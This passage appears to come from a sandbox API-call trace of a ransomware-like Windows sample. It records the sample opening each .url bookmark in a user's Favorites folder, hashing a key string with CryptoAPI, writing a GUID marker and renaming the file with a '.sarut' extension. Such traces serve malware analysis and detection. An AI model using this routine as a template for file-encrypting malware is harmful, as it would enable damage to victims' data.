lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.791] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.791] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.792] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.792] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.792] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.792] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.792] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.792] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.793] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.793] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.793] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.793] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.793] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.793] GetLastError () returned 0x0 [0270.793] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.793] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.793] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.793] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.793] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.793] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.793] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.793] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.794] CloseHandle (hObject=0x5c4) returned 1 [0270.796] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0270.796] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0270.796] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.sarut")) returned 1 [0270.798] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0270.798] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.798] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x30567e0 [0270.798] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned=".url" [0270.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.799] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.799] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.802] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.802] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.803] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.803] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.803] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.803] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.803] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.804] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.804] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.804] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.804] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.804] GetLastError () returned 0x0 [0270.804] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.804] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.805] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.805] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.805] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.805] CloseHandle (hObject=0x5c4) returned 1 [0270.812] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0270.812] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0270.812] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.sarut")) returned 1 [0270.813] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0270.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x30567e0 [0270.814] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned=".url" [0270.814] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.815] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.815] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.817] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.817] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.818] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.818] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.819] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.819] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.819] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.819] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.819] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.820] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.820] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.820] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.820] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.820] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.820] GetLastError () returned 0x0 [0270.820] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.820] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.820] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.820] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.820] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.820] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.820] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.820] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.821] CloseHandle (hObject=0x5c4) returned 1 [0270.824] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0270.824] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0270.824] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.sarut")) returned 1 [0270.826] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0270.826] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.826] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa6) returned 0x30567e0 [0270.826] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned=".url" [0270.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.827] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.827] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.830] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.830] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.831] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.831] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.831] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.831] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.831] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.831] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.831] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.840] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.840] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.840] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.840] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.840] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.840] GetLastError () returned 0x0 [0270.840] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.840] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.840] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.840] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.840] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.840] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.841] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.841] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.841] CloseHandle (hObject=0x5c4) returned 1 [0270.842] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0270.842] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0270.842] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.sarut")) returned 1 [0270.844] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0270.844] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0270.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0270.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0270.844] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0270.844] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0270.844] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0270.844] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.844] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.844] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.844] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.844] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0270.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, 